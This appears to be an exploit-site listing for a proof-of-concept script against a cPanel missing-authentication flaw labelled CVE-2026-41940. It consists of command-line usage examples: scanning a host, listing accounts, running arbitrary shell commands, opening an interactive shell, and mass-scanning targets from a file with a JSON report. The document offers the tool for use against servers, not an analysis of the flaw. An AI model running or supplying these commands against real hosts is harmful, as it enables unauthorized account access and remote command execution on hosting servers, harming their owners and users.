Exploit for Missing Authentication for Critical Function in Cpanel CVE-2026-41940

## https://sploitus.com/exploit?id=D1C386AA-FBA2-5212-AC77-D06A299E06C1
# POC_CVE-2026-41940

## Quick start
```bash
python3 poc_CVE-2026-41940.py -h
```

## Usage examples

**Scan one host**
```bash
python3 poc_CVE-2026-41940.py -u https://target.example:2086
```
**List accounts after successful chain**
```bash
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action list
```
**Run a shell command**
```bash
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action cmd --cmd 'id; whoami; uname -a'
```
**Interactive shell**
```bash
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action shell
```
**Targets from file + JSON report**
```bash
python3 poc_CVE-2026-41940.py -l targets.txt -t 20 -o results.json
```

ref : [ynsmroztas](https://github.com/ynsmroztas/cPanelSniper)